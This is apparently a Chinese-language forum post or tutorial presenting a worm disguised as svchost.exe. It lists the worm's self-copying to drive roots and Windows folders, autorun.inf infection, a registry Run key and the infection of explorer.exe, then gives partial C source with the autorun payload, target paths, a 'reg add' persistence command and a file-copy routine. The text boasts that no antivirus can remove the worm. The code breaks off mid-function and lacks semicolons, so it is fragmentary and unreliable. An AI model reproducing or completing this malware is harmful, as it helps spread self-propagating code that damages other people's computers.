1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件

2.在C、D、E盘中生成自动运行文件

3.注册c:\windows\system\svchost.exe，使其开机自动运行

4.在C:\windows\system下生成隐蔽DLL文件

5.病毒在执行后具有相联复制能力

1.在所有磁盘的根目录生成svchost.com和autorun.inf文件

2.生成病毒体：

c:\windows\wjview32.com

c:\windows\explorer.exe

c:\windows\system32\dllcache\explorer.exe

c:\windows\system\msmouse.dll

c:\windows\system32\cmdsys.sys

c:\windows\system32\mstsc32.exe

3.病毒体c:\windows\explorer.exe感染原explorer.exe文件，使其不需要修改注册表做到启动时在

本病毒到目前为止任何杀毒软件都无法将其查杀

本病毒单机默认使用对机器无害（破坏代码已屏蔽）

提供病毒卸载程序（保存为X.BAT，双击运行即可卸载）：

函数：制造垃圾文件

1.可以用于病毒开机自启动的注册表位置：-/* SVCHOST.C　*/

/* SVCHOST.EXE*/



#define SVCHOST_NUM 6

#include<stdio.h>

#include<string.h>

char*autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"}

char*files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"}

char*files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",

"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",

"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"}

char*regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f"



int copy(char*infile,char*outfile)

{

　　FILE*input,*output

　　char temp

　　if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen



(outfile,"wb"))!=NULL))

　　{

　　　while(!feof(input))

　　　{

　　　　fread(&temp,1,1,input)

　　　　fwrite(&temp,1,1